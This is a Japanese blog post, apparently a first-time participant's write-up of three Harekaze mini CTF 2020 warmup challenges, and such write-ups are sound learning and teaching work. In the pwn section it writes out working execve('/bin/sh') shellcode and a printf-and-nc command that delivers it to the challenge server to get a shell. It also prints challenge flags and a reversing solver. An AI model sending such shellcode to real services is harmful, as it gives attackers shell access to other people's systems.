はじめてCTFに参加した (Harekaze mini CTF 2020)

はじめに

はじめてCTFというものに参加しました。というのも、最近 Malleus CTF Pwn という本を読んでpwnめちゃくちゃおもしろいなと思っていたところに、ちょうど初心者向けっぽいCTFが開催されるという噂を耳にしたからです。どうせならということで、思い切って参加してみました。ちなみに本はまだ半分くらいしか読んでないです。

参加したのは Harekaze mini CTF 2020 というCTFです。(twiitter → #HarekazeCTF)
初CTFの結果は、welcome問題も含めて3問解くことができました。CTF業界ではまだまだだと思いますが、初めてにしてはがんばったのでは?

CTFではwriteupなるものを書く文化があるみたいなので、解けた問題について書いてみました。

[Misc] Welcome (warmup)

Harekaze mini CTF 2020へようこそ! フラグは HarekazeCTF{4nch0rs_4we1gh} です。

問題文にフラグが書いてあるので、そのまま提出するだけ。

[Pwn] Shellcode (warmup)

nc xxx.xxx.xxx.xxx 20005

問題文のとおりにアクセスしてみる。

$ nc xxx.xxx.xxx.xxx 20005
Present for you! "/bin/sh" is at 0x404060
Execute execve("/bin/sh", NULL, NULL)

サーバで動いているプログラムのソースコードは提供されている。

  • shellcode.c
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

char binsh[] = "/bin/sh";

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("Present for you! \"/bin/sh\" is at %p\n", binsh);
    puts("Execute execve(\"/bin/sh\", NULL, NULL)");

    char *code = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    // Clear rsp and rbp
    memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6);
    read(0, code + 6, 0x100);
    mprotect(code, 0x1000, PROT_READ | PROT_EXEC);

    ((void (*)())(code))();

    return 0;
}

どうやら execve("/bin/sh", NULL, NULL) を実行する shellcode を入力で与えれば、実行してくれるらしい。
shellcode ってなに?という状態だったので調べてみたところ、以下の記事がわかりやすかった。

シェルコードは攻撃の際に使う機械語で書かれたプログラムの断片のことで、主にシェルを起動するために作られている場合が多いことからシェルを起動するかに関わらずシェルコードと呼んでいます。

ということで、shellcode をつくってみる。rax に execve のシステムコール番号を、rdi (第一引数) に /bin/sh のアドレスを、rsi, rdx (第二、第三引数) に NULL を格納して systemcall を呼ぶ。

  • execve.s
/* execve.s */
.intel_syntax noprefix
.globl _start

_start:
    mov rax, 59
    mov rsi, 0
    mov rdx, 0
    lea rdi, [0x404060]
    syscall

コンパイルして、機械語を出力。

$ gcc -nostdlib execve.s
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x48\xc7\xc0\x3b\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x48\x8d\x3c\x25\x60\x40\x40\x00\x0f\x05

サーバプログラムに入力。

$ (printf '\x48\xc7\xc0\x3b\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x48\x8d\x3c\x25\x60\x40\x40\x00\x0f\x05'; cat) | nc 20.48.83.165 20005
Present for you! "/bin/sh" is at 0x404060
Execute execve("/bin/sh", NULL, NULL)
ls
bin
boot
dev
etc
home
lib
...

無事シェルがとれたっぽい。(わかりにくいけど ls を実行している)
CTF に参加したのは今回が初めてなので、CTF での shell 奪取も初。これはうれしい。

あとは flag を探して出力するだけ。

find . -name flag
./home/shellcode/flag
find: './root': Permission denied
find: './proc/tty/driver': Permission denied
...
cat ./home/shellcode/flag
HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}

(ここで何をしているのかは正直わかってない)

    // Clear rsp and rbp
    memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6);

[Reversing] Easy Flag Checker (warmup)

このバイナリに文字列を与えると、フラグであるかどうかチェックしてくれます。

chall という名前のバイナリファイルがダウンロードできるので、ダウンロードして実行してみる。

$ ./chall
Input flag: aaa
Nope.

objdump して眺めてみたが、まったくわからない。
ということで、Malleus CTF Pwn でも名前が紹介されていた Ghidra をインストールして使ってみることにした。

f:id:penguing27:20201227140441p:plain

これは便利。真ん中のウィンドウが逆アセンブル結果、右のウィンドウがデコンパイルした結果。
このデコンパイルした結果が C 言語みたいになっていて、普通に読むことができる。

check という関数でフラグが正解かどうか判定しているっぽい。check には入力した文字列と "fakeflag{this_is_not_the_real_flag}" という文字列を引数として与えている。
check 関数のデコンパイル結果を見てみる。

undefined8 check(long param_1,long param_2)

{
  char cVar1;
  int local_c;
  
  local_c = 0;
  while( true ) {
    if (0x22 < local_c) {
      return 0;
    }
    cVar1 = (**(code **)(funcs + (long)(local_c % 3) * 8))
                      ((int)*(char *)(param_2 + local_c),(int)(char)table[local_c],
                       (int)(char)table[local_c]);
    if (cVar1 < *(char *)(param_1 + local_c)) break;
    if (*(char *)(param_1 + local_c) < cVar1) {
      return 0xffffffff;
    }
    local_c = local_c + 1;
  }
  return 1;
}

funcs 関数の返り値を cVar1 という変数に格納していて、 cVar1 の値と param_1 + local_c に格納されている値が一致しているかをチェックしている。これをフラグ文字数分繰り返してすべて一致していれば0を返す。

funcstable が気になるので Ghidra で検索。
funcs + 0x0 , funcs + 0x8 , funcs + 0x10 のアドレスに、それぞれ add , sub , xor という関数のアドレスが格納されていた。それぞれの関数も検索すると、2つの引数に対して関数名通りの処理をするというわかりやすいものだった。
table には、フラグ文字数分だけ値が格納されていた。この値が、 add などの関数に与える2つの引数のうちの1つとなる。

(local_c % 3) * 8 の値に応じて呼ぶ関数を変えていることがわかったので、あとはフラグを出力するコードを書くだけ。

  • solve.c
#include <stdio.h>

#define FLAG_LEN 35

int main()
{
    int i;
    char *fake = "fakeflag{this_is_not_the_real_flag}";
    char table[] = { 0xe2, 0x00, 0x19, 0x00, 0xfb, 0x0d, 0x19, 0x02, 0x38, 0xe0,
                     0x22, 0x12, 0xbd, 0xed, 0x1d, 0xf5, 0x2f, 0x0a, 0xc1, 0xfc,
                     0x00, 0xf2, 0xfc, 0x51, 0x08, 0x13, 0x06, 0x07, 0x39, 0x3c,
                     0x05, 0x39, 0x13, 0xba, 0x00 };
    char ans[FLAG_LEN + 1];

    for (i = 0; i < FLAG_LEN; i++) {
        switch (i % 3 * 8) {
            case 0:
                ans[i] = fake[i] + table[i];
                break;
            case 8:
                ans[i] = fake[i] - table[i];
                break;
            case 16:
                ans[i] = fake[i] ^ table[i];
                break;
            default:
                printf("error\n");
                return -1;
        }
    }
    ans[FLAG_LEN] = '\0';

    printf("%s\n", ans);

    return 0;
}

フラグ取得。

$ gcc -o solve solve.c
$ ./solve
HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}

おわりに

解けた3問以外では、pwnのNM Game Extremeという問題と、reversingのWaitという問題にチャレンジしましたが、わからずじまいで寝てしまいました。
他の人のwriteupを読んで勉強したいと思います。また出るぞ。